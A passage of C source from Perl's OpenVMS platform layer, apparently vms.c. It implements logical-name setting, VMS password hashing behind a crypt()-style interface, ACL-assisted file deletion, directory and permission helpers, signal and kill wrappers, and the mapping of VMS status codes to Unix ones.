Newx(ilist,nseg+1,struct itmlst_3);
ile = ilist;
if (!ile) {
set_errno(ENOMEM); set_vaxc_errno(SS$_INSFMEM);
return SS$_INSFMEM;
}
memset(ilist, 0, (sizeof(struct itmlst_3) * (nseg+1)));
for (j = 0, c = eqvdsc.dsc$a_pointer; j < nseg; j++, ile++, c += LNM$C_NAMLENGTH) {
ile->itmcode = LNM$_STRING;
ile->bufadr = c;
if ((j+1) == nseg) {
ile->buflen = strlen(c);
/* in case we are truncating one that's too long */
if (ile->buflen > LNM$C_NAMLENGTH) ile->buflen = LNM$C_NAMLENGTH;
}
else {
ile->buflen = LNM$C_NAMLENGTH;
}
}
retsts = lib$set_logical(&lnmdsc,0,tabvec[0],0,ilist);
Safefree (ilist);
}
else {
retsts = lib$set_logical(&lnmdsc,&eqvdsc,tabvec[0],0,0);
}
}
}
}
if (!(retsts & 1)) {
switch (retsts) {
case LIB$_AMBSYMDEF: case LIB$_INSCLIMEM:
case SS$_NOLOGTAB: case SS$_TOOMANYLNAM: case SS$_IVLOGTAB:
set_errno(EVMSERR); break;
case LIB$_INVARG: case LIB$_INVSYMNAM: case SS$_IVLOGNAM:
case LIB$_NOSUCHSYM: case SS$_NOLOGNAM:
set_errno(EINVAL); break;
case SS$_NOPRIV:
set_errno(EACCES); break;
default:
_ckvmssts(retsts);
set_errno(EVMSERR);
}
set_vaxc_errno(retsts);
return (int) retsts || 44; /* retsts should never be 0, but just in case */
}
else {
/* We reset error values on success because Perl does an hv_fetch()
* before each hv_store(), and if the thing we're setting didn't
* previously exist, we've got a leftover error message. (Of course,
* this fails in the face of
* $foo = $ENV{nonexistent}; $ENV{existent} = 'foo';
* in that the error reported in $! isn't spurious,
* but it's right more often than not.)
*/
set_errno(0); set_vaxc_errno(retsts);
return 0;
}
} /* end of vmssetenv() */
/*}}}*/
/*{{{ void my_setenv(const char *lnm, const char *eqv)*/
/* This has to be a function since there's a prototype for it in proto.h */
void
Perl_my_setenv(pTHX_ const char *lnm, const char *eqv)
{
if (lnm && *lnm) {
int len = strlen(lnm);
if (len == 7) {
char uplnm[8];
int i;
for (i = 0; lnm[i]; i++) uplnm[i] = toUPPER_A(lnm[i]);
if (strEQ(uplnm,"DEFAULT")) {
if (eqv && *eqv) my_chdir(eqv);
return;
}
}
}
(void) vmssetenv(lnm,eqv,NULL);
}
/*}}}*/
/*{{{static void vmssetuserlnm(char *name, char *eqv); */
/* vmssetuserlnm
* sets a user-mode logical in the process logical name table
* used for redirection of sys$error
*/
void
Perl_vmssetuserlnm(const char *name, const char *eqv)
{
$DESCRIPTOR(d_tab, "LNM$PROCESS");
struct dsc$descriptor_d d_name = {0,DSC$K_DTYPE_T,DSC$K_CLASS_D,0};
unsigned long int iss, attr = LNM$M_CONFINE;
unsigned char acmode = PSL$C_USER;
struct itmlst_3 lnmlst[2] = {{0, LNM$_STRING, 0, 0},
{0, 0, 0, 0}};
d_name.dsc$a_pointer = (char *)name; /* Cast OK for read only parameter */
d_name.dsc$w_length = strlen(name);
lnmlst[0].buflen = strlen(eqv);
lnmlst[0].bufadr = (char *)eqv; /* Cast OK for read only parameter */
iss = sys$crelnm(&attr,&d_tab,&d_name,&acmode,lnmlst);
if (!(iss&1)) lib$signal(iss);
}
/*}}}*/
/*{{{ char *my_crypt(const char *textpasswd, const char *usrname)*/
/* my_crypt - VMS password hashing
* my_crypt() provides an interface compatible with the Unix crypt()
* C library function, and uses sys$hash_password() to perform VMS
* password hashing. The quadword hashed password value is returned
* as a NUL-terminated 8 character string. my_crypt() does not change
* the case of its string arguments; in order to match the behavior
* of LOGINOUT et al., alphabetic characters in both arguments must
* be upcased by the caller.
*
* - fix me to call ACM services when available
*/
char *
Perl_my_crypt(pTHX_ const char *textpasswd, const char *usrname)
{
# ifndef UAI$C_PREFERRED_ALGORITHM
# define UAI$C_PREFERRED_ALGORITHM 127
# endif
unsigned char alg = UAI$C_PREFERRED_ALGORITHM;
unsigned short int salt = 0;
unsigned long int sts;
struct const_dsc {
unsigned short int dsc$w_length;
unsigned char dsc$b_type;
unsigned char dsc$b_class;
const char * dsc$a_pointer;
} usrdsc = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, 0},
txtdsc = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, 0};
struct itmlst_3 uailst[3] = {
{ sizeof alg, UAI$_ENCRYPT, &alg, 0},
{ sizeof salt, UAI$_SALT, &salt, 0},
{ 0, 0, NULL, NULL}};
static char hash[9];
usrdsc.dsc$w_length = strlen(usrname);
usrdsc.dsc$a_pointer = usrname;
if (!((sts = sys$getuai(0, 0, &usrdsc, uailst, 0, 0, 0)) & 1)) {
switch (sts) {
case SS$_NOGRPPRV: case SS$_NOSYSPRV:
set_errno(EACCES);
break;
case RMS$_RNF:
set_errno(ESRCH); /* There isn't a Unix no-such-user error */
break;
default:
set_errno(EVMSERR);
}
set_vaxc_errno(sts);
if (sts != RMS$_RNF) return NULL;
}
txtdsc.dsc$w_length = strlen(textpasswd);
txtdsc.dsc$a_pointer = textpasswd;
if (!((sts = sys$hash_password(&txtdsc, alg, salt, &usrdsc, &hash)) & 1)) {
set_errno(EVMSERR); set_vaxc_errno(sts); return NULL;
}
return (char *) hash;
} /* end of my_crypt() */
/*}}}*/
static char *mp_do_rmsexpand(pTHX_ const char *, char *, int, const char *, unsigned, int *, int *);
static char *mp_do_fileify_dirspec(pTHX_ const char *, char *, int, int *);
static char *mp_do_tovmsspec(pTHX_ const char *, char *, int, int, int *);
/* 8.3, remove() is now broken on symbolic links */
static int rms_erase(const char * vmsname);
/* mp_do_kill_file
* A little hack to get around a bug in some implementation of remove()
* that do not know how to delete a directory
*
* Delete any file to which user has control access, regardless of whether
* delete access is explicitly allowed.
* Limitations: User must have write access to parent directory.
* Does not block signals or ASTs; if interrupted in midstream
* may leave file with an altered ACL.
* HANDLE WITH CARE!
*/
/*{{{int mp_do_kill_file(const char *name, int dirflag)*/
static int
mp_do_kill_file(pTHX_ const char *name, int dirflag)
{
char *vmsname;
char *rslt;
unsigned long int jpicode = JPI$_UIC, type = ACL$C_FILE;
unsigned long int cxt = 0, aclsts, fndsts;
int rmsts = -1;
struct dsc$descriptor_s fildsc = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, 0};
struct myacedef {
unsigned char myace$b_length;
unsigned char myace$b_type;
unsigned short int myace$w_flags;
unsigned long int myace$l_access;
unsigned long int myace$l_ident;
} newace = { sizeof(struct myacedef), ACE$C_KEYID, 0,
ACE$M_READ | ACE$M_WRITE | ACE$M_DELETE | ACE$M_CONTROL, 0},
oldace = { sizeof(struct myacedef), ACE$C_KEYID, 0, 0, 0};
struct itmlst_3
findlst[3] = {{sizeof oldace, ACL$C_FNDACLENT, &oldace, 0},
{sizeof oldace, ACL$C_READACE, &oldace, 0},{0,0,0,0}},
addlst[2] = {{sizeof newace, ACL$C_ADDACLENT, &newace, 0},{0,0,0,0}},
dellst[2] = {{sizeof newace, ACL$C_DELACLENT, &newace, 0},{0,0,0,0}},
lcklst[2] = {{sizeof newace, ACL$C_WLOCK_ACL, &newace, 0},{0,0,0,0}},
ulklst[2] = {{sizeof newace, ACL$C_UNLOCK_ACL, &newace, 0},{0,0,0,0}};
/* Expand the input spec using RMS, since the CRTL remove() and
* system services won't do this by themselves, so we may miss
* a file "hiding" behind a logical name or search list. */
vmsname = (char *)PerlMem_malloc(NAM$C_MAXRSS+1);
if (vmsname == NULL) _ckvmssts_noperl(SS$_INSFMEM);
rslt = int_rmsexpand_tovms(name, vmsname, PERL_RMSEXPAND_M_SYMLINK);
if (rslt == NULL) {
PerlMem_free(vmsname);
return -1;
}
/* Erase the file */
rmsts = rms_erase(vmsname);
/* Did it succeed */
if ($VMS_STATUS_SUCCESS(rmsts)) {
PerlMem_free(vmsname);
return 0;
}
/* If not, can changing protections help? */
if (rmsts != RMS$_PRV) {
set_vaxc_errno(rmsts);
PerlMem_free(vmsname);
return -1;
}
/* No, so we get our own UIC to use as a rights identifier,
* and the insert an ACE at the head of the ACL which allows us
* to delete the file.
*/
_ckvmssts_noperl(lib$getjpi(&jpicode,0,0,&(oldace.myace$l_ident),0,0));
fildsc.dsc$w_length = strlen(vmsname);
fildsc.dsc$a_pointer = vmsname;
cxt = 0;
newace.myace$l_ident = oldace.myace$l_ident;
rmsts = -1;
if (!((aclsts = sys$change_acl(0,&type,&fildsc,lcklst,0,0,0)) & 1)) {
switch (aclsts) {
case RMS$_FNF: case RMS$_DNF: case SS$_NOSUCHOBJECT:
set_errno(ENOENT); break;
case RMS$_DIR:
set_errno(ENOTDIR); break;
case RMS$_DEV:
set_errno(ENODEV); break;
case RMS$_SYN: case SS$_INVFILFOROP:
set_errno(EINVAL); break;
case RMS$_PRV:
set_errno(EACCES); break;
default:
_ckvmssts_noperl(aclsts);
}
set_vaxc_errno(aclsts);
PerlMem_free(vmsname);
return -1;
}
/* Grab any existing ACEs with this identifier in case we fail */
aclsts = fndsts = sys$change_acl(0,&type,&fildsc,findlst,0,0,&cxt);
if ( fndsts & 1 || fndsts == SS$_ACLEMPTY || fndsts == SS$_NOENTRY
|| fndsts == SS$_NOMOREACE ) {
/* Add the new ACE . . . */
if (!((aclsts = sys$change_acl(0,&type,&fildsc,addlst,0,0,0)) & 1))
goto yourroom;
rmsts = rms_erase(vmsname);
if ($VMS_STATUS_SUCCESS(rmsts)) {
rmsts = 0;
}
else {
rmsts = -1;
/* We blew it - dir with files in it, no write priv for
* parent directory, etc. Put things back the way they were. */
if (!((aclsts = sys$change_acl(0,&type,&fildsc,dellst,0,0,0)) & 1))
goto yourroom;
if (fndsts & 1) {
addlst[0].bufadr = &oldace;
if (!((aclsts = sys$change_acl(0,&type,&fildsc,addlst,0,0,&cxt)) & 1))
goto yourroom;
}
}
}
yourroom:
fndsts = sys$change_acl(0,&type,&fildsc,ulklst,0,0,0);
/* We just deleted it, so of course it's not there. Some versions of
* VMS seem to return success on the unlock operation anyhow (after all
* the unlock is successful), but others don't.
*/
if (fndsts == RMS$_FNF || fndsts == SS$_NOSUCHOBJECT) fndsts = SS$_NORMAL;
if (aclsts & 1) aclsts = fndsts;
if (!(aclsts & 1)) {
set_errno(EVMSERR);
set_vaxc_errno(aclsts);
}
PerlMem_free(vmsname);
return rmsts;
} /* end of kill_file() */
/*}}}*/
/*{{{int do_rmdir(char *name)*/
int
Perl_do_rmdir(pTHX_ const char *name)
{
char * dirfile;
int retval;
Stat_t st;
/* lstat returns a VMS fileified specification of the name */
/* that is looked up, and also lets verifies that this is a directory */
retval = flex_lstat(name, &st);
if (retval != 0) {
char * ret_spec;
/* Due to a historical feature, flex_stat/lstat can not see some */
/* Unix format file names that the rest of the CRTL can see */
/* Fixing that feature will cause some perl tests to fail */
/* So try this one more time. */
retval = lstat(name, &st.crtl_stat);
if (retval != 0)
return -1;
/* force it to a file spec for the kill file to work. */
ret_spec = do_fileify_dirspec(name, st.st_devnam, 0, NULL);
if (ret_spec == NULL) {
errno = EIO;
return -1;
}
}
if (!S_ISDIR(st.st_mode)) {
errno = ENOTDIR;
retval = -1;
}
else {
dirfile = st.st_devnam;
/* It may be possible for flex_stat to find a file and vmsify() to */
/* fail with ODS-2 specifications. mp_do_kill_file can not deal */
/* with that case, so fail it */
if (dirfile[0] == 0) {
errno = EIO;
return -1;
}
retval = mp_do_kill_file(aTHX_ dirfile, 1);
}
return retval;
} /* end of do_rmdir */
/*}}}*/
/* kill_file
* Delete any file to which user has control access, regardless of whether
* delete access is explicitly allowed.
* Limitations: User must have write access to parent directory.
* Does not block signals or ASTs; if interrupted in midstream
* may leave file with an altered ACL.
* HANDLE WITH CARE!
*/
/*{{{int kill_file(char *name)*/
int
Perl_kill_file(pTHX_ const char *name)
{
char * vmsfile;
Stat_t st;
int rmsts;
/* Convert the filename to VMS format and see if it is a directory */
/* flex_lstat returns a vmsified file specification */
rmsts = flex_lstat(name, &st);
if (rmsts != 0) {
/* Due to a historical feature, flex_stat/lstat can not see some */
/* Unix format file names that the rest of the CRTL can see when */
/* ODS-2 file specifications are in use. */
/* Fixing that feature will cause some perl tests to fail */
/* [.lib.ExtUtils.t]Manifest.t is one of them */
st.st_mode = 0;
vmsfile = (char *) name; /* cast ok */
} else {
vmsfile = st.st_devnam;
if (vmsfile[0] == 0) {
/* It may be possible for flex_stat to find a file and vmsify() */
/* to fail with ODS-2 specifications. mp_do_kill_file can not */
/* deal with that case, so fail it */
errno = EIO;
return -1;
}
}
/* Remove() is allowed to delete directories, according to the X/Open
* specifications.
* This may need special handling to work with the ACL hacks.
*/
if (S_ISDIR(st.st_mode)) {
rmsts = mp_do_kill_file(aTHX_ vmsfile, 1);
return rmsts;
}
rmsts = mp_do_kill_file(aTHX_ vmsfile, 0);
/* Need to delete all versions ? */
if ((rmsts == 0) && (vms_unlink_all_versions == 1)) {
int i = 0;
/* Just use lstat() here as do not need st_dev */
/* and we know that the file is in VMS format or that */
/* because of a historical bug, flex_stat can not see the file */
while (lstat(vmsfile, (stat_t *)&st) == 0) {
rmsts = mp_do_kill_file(aTHX_ vmsfile, 0);
if (rmsts != 0)
break;
i++;
/* Make sure that we do not loop forever */
if (i > 32767) {
errno = EIO;
rmsts = -1;
break;
}
}
}
return rmsts;
} /* end of kill_file() */
/*}}}*/
/*{{{int my_mkdir(char *,Mode_t)*/
int
Perl_my_mkdir(pTHX_ const char *dir, Mode_t mode)
{
STRLEN dirlen = strlen(dir);
/* zero length string sometimes gives ACCVIO */
if (dirlen == 0) return -1;
/* CRTL mkdir() doesn't tolerate trailing /, since that implies
* null file name/type. However, it's commonplace under Unix,
* so we'll allow it for a gain in portability.
*/
if (dir[dirlen-1] == '/') {
char *newdir = savepvn(dir,dirlen-1);
int ret = mkdir(newdir,mode);
Safefree(newdir);
return ret;
}
else return mkdir(dir,mode);
} /* end of my_mkdir */
/*}}}*/
/*{{{int my_chdir(char *)*/
int
Perl_my_chdir(pTHX_ const char *dir)
{
STRLEN dirlen = strlen(dir);
const char *dir1 = dir;
/* POSIX says we should set ENOENT for zero length string. */
if (dirlen == 0) {
SETERRNO(ENOENT, RMS$_DNF);
return -1;
}
/* Perl is passing the output of the DCL SHOW DEFAULT with leading spaces.
* This does not work if DECC$EFS_CHARSET is active. Hack it here
* so that existing scripts do not need to be changed.
*/
while ((dirlen > 0) && (*dir1 == ' ')) {
dir1++;
dirlen--;
}
/* some versions of CRTL chdir() doesn't tolerate trailing /, since
* that implies
* null file name/type. However, it's commonplace under Unix,
* so we'll allow it for a gain in portability.
*
* '/' is valid when SYS$POSIX_ROOT or POSIX compliant pathnames are active.
*/
if ((dirlen > 1) && (dir1[dirlen-1] == '/')) {
char *newdir;
int ret;
newdir = (char *)PerlMem_malloc(dirlen);
if (newdir ==NULL)
_ckvmssts_noperl(SS$_INSFMEM);
memcpy(newdir, dir1, dirlen-1);
newdir[dirlen-1] = '\0';
ret = chdir(newdir);
PerlMem_free(newdir);
return ret;
}
else return chdir(dir1);
} /* end of my_chdir */
/*}}}*/
/*{{{int my_chmod(char *, mode_t)*/
int
Perl_my_chmod(pTHX_ const char *file_spec, mode_t mode)
{
Stat_t st;
int ret = -1;
char * changefile;
STRLEN speclen = strlen(file_spec);
/* zero length string sometimes gives ACCVIO */
if (speclen == 0) return -1;
/* some versions of CRTL chmod() doesn't tolerate trailing /, since
* that implies null file name/type. However, it's commonplace under Unix,
* so we'll allow it for a gain in portability.
*
* Tests are showing that chmod() on VMS 8.3 is only accepting directories
* in VMS file.dir notation.
*/
changefile = (char *) file_spec; /* cast ok */
ret = flex_lstat(file_spec, &st);
if (ret != 0) {
/* Due to a historical feature, flex_stat/lstat can not see some */
/* Unix format file names that the rest of the CRTL can see when */
/* ODS-2 file specifications are in use. */
/* Fixing that feature will cause some perl tests to fail */
/* [.lib.ExtUtils.t]Manifest.t is one of them */
st.st_mode = 0;
} else {
/* It may be possible to get here with nothing in st_devname */
/* chmod still may work though */
if (st.st_devnam[0] != 0) {
changefile = st.st_devnam;
}
}
ret = chmod(changefile, mode);
return ret;
} /* end of my_chmod */
/*}}}*/
/*{{{FILE *my_tmpfile()*/
FILE *
my_tmpfile(void)
{
FILE *fp;
char *cp;
if ((fp = tmpfile())) return fp;
cp = (char *)PerlMem_malloc(L_tmpnam+24);
if (cp == NULL) _ckvmssts_noperl(SS$_INSFMEM);
if (DECC_FILENAME_UNIX_ONLY == 0)
strcpy(cp,"Sys$Scratch:");
else
strcpy(cp,"/tmp/");
tmpnam(cp+strlen(cp));
strcat(cp,".Perltmp");
fp = fopen(cp,"w+","fop=dlt");
PerlMem_free(cp);
return fp;
}
/*}}}*/
/*
* The C RTL's sigaction fails to check for invalid signal numbers so we
* help it out a bit. The docs are correct, but the actual routine doesn't
* do what the docs say it will.
*/
/*{{{int Perl_my_sigaction (pTHX_ int, const struct sigaction*, struct sigaction*);*/
int
Perl_my_sigaction (pTHX_ int sig, const struct sigaction* act,
struct sigaction* oact)
{
if (sig == SIGKILL || sig == SIGSTOP || sig == SIGCONT) {
SETERRNO(EINVAL, SS$_INVARG);
return -1;
}
return sigaction(sig, act, oact);
}
/*}}}*/
#include <errnodef.h>
/* We implement our own kill() using the undocumented system service
sys$sigprc for one of two reasons:
1.) If the kill() in an older CRTL uses sys$forcex, causing the
target process to do a sys$exit, which usually can't be handled
gracefully...certainly not by Perl and the %SIG{} mechanism.
2.) If the kill() in the CRTL can't be called from a signal
handler without disappearing into the ether, i.e., the signal
it purportedly sends is never trapped. Still true as of VMS 7.3.
sys$sigprc has the same parameters as sys$forcex, but throws an exception
in the target process rather than calling sys$exit.
Note that distinguishing SIGSEGV from SIGBUS requires an extra arg
on the ACCVIO condition, which sys$sigprc (and sys$forcex) don't
provide. On VMS 7.0+ this is taken care of by doing sys$sigprc
with condition codes C$_SIG0+nsig*8, catching the exception on the
target process and resignaling with appropriate arguments.
But we don't have that VMS 7.0+ exception handler, so if you
Perl_my_kill(.., SIGSEGV) it will show up as a SIGBUS. Oh well.
Also note that SIGTERM is listed in the docs as being "unimplemented",
yet always seems to be signaled with a VMS condition code of 4 (and
correctly handled for that code). So we hardwire it in.
Unlike the VMS 7.0+ CRTL kill() function, we actually check the signal
number to see if it's valid. So Perl_my_kill(pid,0) returns -1 rather
than signalling with an unrecognized (and unhandled by CRTL) code.
*/
#define _MY_SIG_MAX 28
static unsigned int
Perl_sig_to_vmscondition_int(int sig)
{
static unsigned int sig_code[_MY_SIG_MAX+1] =
{
0, /* 0 ZERO */
SS$_HANGUP, /* 1 SIGHUP */
SS$_CONTROLC, /* 2 SIGINT */
SS$_CONTROLY, /* 3 SIGQUIT */
SS$_RADRMOD, /* 4 SIGILL */
SS$_BREAK, /* 5 SIGTRAP */
SS$_OPCCUS, /* 6 SIGABRT */
SS$_COMPAT, /* 7 SIGEMT */
SS$_HPARITH, /* 8 SIGFPE AXP */
SS$_ABORT, /* 9 SIGKILL */
SS$_ACCVIO, /* 10 SIGBUS */
SS$_ACCVIO, /* 11 SIGSEGV */
SS$_BADPARAM, /* 12 SIGSYS */
SS$_NOMBX, /* 13 SIGPIPE */
SS$_ASTFLT, /* 14 SIGALRM */
4, /* 15 SIGTERM */
0, /* 16 SIGUSR1 */
0, /* 17 SIGUSR2 */
0, /* 18 */
0, /* 19 */
0, /* 20 SIGCHLD */
0, /* 21 SIGCONT */
0, /* 22 SIGSTOP */
0, /* 23 SIGTSTP */
0, /* 24 SIGTTIN */
0, /* 25 SIGTTOU */
0, /* 26 */
0, /* 27 */
0 /* 28 SIGWINCH */
};
static int initted = 0;
if (!initted) {
initted = 1;
sig_code[16] = C$_SIGUSR1;
sig_code[17] = C$_SIGUSR2;
sig_code[20] = C$_SIGCHLD;
sig_code[28] = C$_SIGWINCH;
}
if (sig < _SIG_MIN) return 0;
if (sig > _MY_SIG_MAX) return 0;
return sig_code[sig];
}
unsigned int
Perl_sig_to_vmscondition(int sig)
{
#ifdef SS$_DEBUG
if (vms_debug_on_exception != 0)
lib$signal(SS$_DEBUG);
#endif
return Perl_sig_to_vmscondition_int(sig);
}
#ifdef KILL_BY_SIGPRC
#define sys$sigprc SYS$SIGPRC
#ifdef __cplusplus
extern "C" {
#endif
int sys$sigprc(unsigned int *pidadr,
struct dsc$descriptor_s *prcname,
unsigned int code);
#ifdef __cplusplus
}
#endif
int
Perl_my_kill(int pid, int sig)
{
int iss;
unsigned int code;
/* sig 0 means validate the PID */
/*------------------------------*/
if (sig == 0) {
const unsigned long int jpicode = JPI$_PID;
pid_t ret_pid;
int status;
status = lib$getjpi(&jpicode, &pid, NULL, &ret_pid, NULL, NULL);
if ($VMS_STATUS_SUCCESS(status))
return 0;
switch (status) {
case SS$_NOSUCHNODE:
case SS$_UNREACHABLE:
case SS$_NONEXPR:
errno = ESRCH;
break;
case SS$_NOPRIV:
errno = EPERM;
break;
default:
errno = EVMSERR;
}
vaxc$errno=status;
return -1;
}
code = Perl_sig_to_vmscondition_int(sig);
if (!code) {
SETERRNO(EINVAL, SS$_BADPARAM);
return -1;
}
/* Per official UNIX specification: If pid = 0, or negative then
* signals are to be sent to multiple processes.
* pid = 0 - all processes in group except ones that the system exempts
* pid = -1 - all processes except ones that the system exempts
* pid = -n - all processes in group (abs(n)) except ...
*
* Handle these via killpg, which is redundant for the -n case, since OP_KILL
* in doio.c already does that. killpg currently does not support the -1 case.
*/
if (pid <= 0) {
return killpg(-pid, sig);
}
iss = sys$sigprc((unsigned int *)&pid,0,code);
if (iss&1) return 0;
switch (iss) {
case SS$_NOPRIV:
set_errno(EPERM); break;
case SS$_NONEXPR:
case SS$_NOSUCHNODE:
case SS$_UNREACHABLE:
set_errno(ESRCH); break;
case SS$_INSFMEM:
set_errno(ENOMEM); break;
default:
_ckvmssts_noperl(iss);
set_errno(EVMSERR);
}
set_vaxc_errno(iss);
return -1;
}
#endif
int
Perl_my_killpg(pid_t master_pid, int signum)
{
int pid, status, i;
unsigned long int jpi_context;
unsigned short int iosb[4];
struct itmlst_3 il3[3];
/* All processes on the system? Seems dangerous, but it looks
* like we could implement this pretty easily with a wildcard
* input to sys$process_scan.
*/
if (master_pid == -1) {
SETERRNO(ENOTSUP, SS$_UNSUPPORTED);
return -1;
}
/* All processes in the current process group; find the master
* pid for the current process.
*/
if (master_pid == 0) {
i = 0;
il3[i].buflen = sizeof( int );
il3[i].itmcode = JPI$_MASTER_PID;
il3[i].bufadr = &master_pid;
il3[i++].retlen = NULL;
il3[i].buflen = 0;
il3[i].itmcode = 0;
il3[i].bufadr = NULL;
il3[i++].retlen = NULL;
status = sys$getjpiw(EFN$C_ENF, NULL, NULL, il3, iosb, NULL, 0);
if ($VMS_STATUS_SUCCESS(status))
status = iosb[0];
switch (status) {
case SS$_NORMAL:
break;
case SS$_NOPRIV:
case SS$_SUSPENDED:
SETERRNO(EPERM, status);
break;
case SS$_NOMOREPROC:
case SS$_NONEXPR:
case SS$_NOSUCHNODE:
case SS$_UNREACHABLE:
SETERRNO(ESRCH, status);
break;
case SS$_ACCVIO:
case SS$_BADPARAM:
SETERRNO(EINVAL, status);
break;
default:
SETERRNO(EVMSERR, status);
}
if (!$VMS_STATUS_SUCCESS(status))
return -1;
}
/* Set up a process context for those processes we will scan
* with sys$getjpiw. Ask for all processes belonging to the
* master pid.
*/
i = 0;
il3[i].buflen = 0;
il3[i].itmcode = PSCAN$_MASTER_PID;
il3[i].bufadr = (void *)master_pid;
il3[i++].retlen = NULL;
il3[i].buflen = 0;
il3[i].itmcode = 0;
il3[i].bufadr = NULL;
il3[i++].retlen = NULL;
status = sys$process_scan(&jpi_context, il3);
switch (status) {
case SS$_NORMAL:
break;
case SS$_ACCVIO:
case SS$_BADPARAM:
case SS$_IVBUFLEN:
case SS$_IVSSRQ:
SETERRNO(EINVAL, status);
break;
default:
SETERRNO(EVMSERR, status);
}
if (!$VMS_STATUS_SUCCESS(status))
return -1;
i = 0;
il3[i].buflen = sizeof(int);
il3[i].itmcode = JPI$_PID;
il3[i].bufadr = &pid;
il3[i++].retlen = NULL;
il3[i].buflen = 0;
il3[i].itmcode = 0;
il3[i].bufadr = NULL;
il3[i++].retlen = NULL;
/* Loop through the processes matching our specified criteria
*/
while (1) {
/* Find the next process...
*/
status = sys$getjpiw( EFN$C_ENF, &jpi_context, NULL, il3, iosb, NULL, 0);
if ($VMS_STATUS_SUCCESS(status)) status = iosb[0];
switch (status) {
case SS$_NORMAL:
if (kill(pid, signum) == -1)
break;
continue; /* next process */
case SS$_NOPRIV:
case SS$_SUSPENDED:
SETERRNO(EPERM, status);
break;
case SS$_NOMOREPROC:
break;
case SS$_NONEXPR:
case SS$_NOSUCHNODE:
case SS$_UNREACHABLE:
SETERRNO(ESRCH, status);
break;
case SS$_ACCVIO:
case SS$_BADPARAM:
SETERRNO(EINVAL, status);
break;
default:
SETERRNO(EVMSERR, status);
}
if (!$VMS_STATUS_SUCCESS(status))
break;
}
/* Release context-related resources.
*/
(void) sys$process_scan(&jpi_context);
if (status != SS$_NOMOREPROC)
return -1;
return 0;
}
/* Routine to convert a VMS status code to a UNIX status code.
** More tricky than it appears because of conflicting conventions with
** existing code.
**
** VMS status codes are a bit mask, with the least significant bit set for
** success.
**
** Special UNIX status of EVMSERR indicates that no translation is currently
** available, and programs should check the VMS status code.
**
** Programs compiled with _POSIX_EXIT have a special encoding that requires
** decoding.
*/
#ifndef C_FACILITY_NO
#define C_FACILITY_NO 0x350000
#endif
#ifndef DCL_IVVERB
#define DCL_IVVERB 0x38090
#endif
int
Perl_vms_status_to_unix(int vms_status, int child_flag)
{
int facility;
int fac_sp;
int msg_no;
int msg_status;
int unix_status;
/* Assume the best or the worst */
if (vms_status & STS$M_SUCCESS)
unix_status = 0;
else
unix_status = EVMSERR;
msg_status = vms_status & ~STS$M_CONTROL;
facility = vms_status & STS$M_FAC_NO;
fac_sp = vms_status & STS$M_FAC_SP;
msg_no = vms_status & (STS$M_MSG_NO | STS$M_SEVERITY);
if (((facility == 0) || (fac_sp == 0)) && (child_flag == 0)) {
switch(msg_no) {
case SS$_NORMAL:
unix_status = 0;
break;
case SS$_ACCVIO:
unix_status = EFAULT;
break;
case SS$_DEVOFFLINE:
unix_status = EBUSY;
break;
case SS$_CLEARED:
unix_status = ENOTCONN;
break;
case SS$_IVCHAN:
case SS$_IVLOGNAM:
case SS$_BADPARAM:
case SS$_IVLOGTAB:
case SS$_NOLOGNAM:
case SS$_NOLOGTAB:
case SS$_INVFILFOROP:
case SS$_INVARG:
case SS$_NOSUCHID:
case SS$_IVIDENT:
unix_status = EINVAL;
break;
case SS$_UNSUPPORTED:
unix_status = ENOTSUP;
break;
case SS$_FILACCERR:
case SS$_NOGRPPRV:
case SS$_NOSYSPRV:
unix_status = EACCES;
break;
case SS$_DEVICEFULL:
unix_status = ENOSPC;
break;
case SS$_NOSUCHDEV:
unix_status = ENODEV;
break;
case SS$_NOSUCHFILE:
case SS$_NOSUCHOBJECT:
unix_status = ENOENT;
break;
case SS$_ABORT: /* Fatal case */
case ((SS$_ABORT & STS$M_COND_ID) | STS$K_ERROR): /* Error case */
case ((SS$_ABORT & STS$M_COND_ID) | STS$K_WARNING): /* Warning case */
unix_status = EINTR;
break;
case SS$_BUFFEROVF:
unix_status = E2BIG;
break;
case SS$_INSFMEM:
unix_status = ENOMEM;
break;
case SS$_NOPRIV:
unix_status = EPERM;
break;
case SS$_NOSUCHNODE:
case SS$_UNREACHABLE:
unix_status = ESRCH;
break;
case SS$_NONEXPR:
unix_status = ECHILD;
break;
default:
if ((facility == 0) && (msg_no < 8)) {
/* These are not real VMS status codes so assume that they are
** already UNIX status codes
*/
unix_status = msg_no;
break;
}
}
}
else {
/* Translate a POSIX exit code to a UNIX exit code */
if ((facility == C_FACILITY_NO) && ((msg_no & 0xA000) == 0xA000)) {
unix_status = (msg_no & 0x07F8) >> 3;
}
else {
/* Documented traditional behavior for handling VMS child exits */
/*--------------------------------------------------------------*/
if (child_flag != 0) {
/* Success / Informational return 0 */
/*----------------------------------*/
if (msg_no & STS$K_SUCCESS)
return 0;
/* Warning returns 1 */
/*-------------------*/
if ((msg_no & (STS$K_ERROR | STS$K_SEVERE)) == 0)
return 1;
/* Everything else pass through the severity bits */
/*------------------------------------------------*/
return (msg_no & STS$M_SEVERITY);
}
/* Normal VMS status to ERRNO mapping attempt */
/*--------------------------------------------*/
switch(msg_status) {
/* case RMS$_EOF: */ /* End of File */
case RMS$_FNF: /* File Not Found */
case RMS$_DNF: /* Dir Not Found */
unix_status = ENOENT;
break;
case RMS$_RNF: /* Record Not Found */
unix_status = ESRCH;
break;
case RMS$_DIR:
unix_status = ENOTDIR;
break;
case RMS$_DEV:
unix_status = ENODEV;
break;
case RMS$_IFI:
case RMS$_FAC:
case RMS$_ISI:
unix_status = EBADF;
break;
case RMS$_FEX:
unix_status = EEXIST;
break;
case RMS$_SYN:
case RMS$_FNM:
case LIB$_INVSTRDES:
case LIB$_INVARG:
case LIB$_NOSUCHSYM:
case LIB$_INVSYMNAM:
case DCL_IVVERB:
unix_status = EINVAL;
break;
case CLI$_BUFOVF:
case RMS$_RTB:
case CLI$_TKNOVF:
case CLI$_RSLOVF:
unix_status = E2BIG;
break;
case RMS$_PRV: /* No privilege */
case RMS$_ACC: /* ACP file access failed */
case RMS$_WLK: /* Device write locked */
unix_status = EACCES;
break;
case RMS$_MKD: /* Failed to mark for delete */
unix_status = EPERM;
break;
/* case RMS$_NMF: */ /* No more files */
}
}
}
return unix_status;
}
/* Try to guess at what VMS error status should go with a UNIX errno
* value. This is hard to do as there could be many possible VMS
* error statuses that caused the errno value to be set.
*/
int
Perl_unix_status_to_vms(int unix_status)
{
int test_unix_status;
/* Trivial cases first */
/*---------------------*/
if (unix_status == EVMSERR)
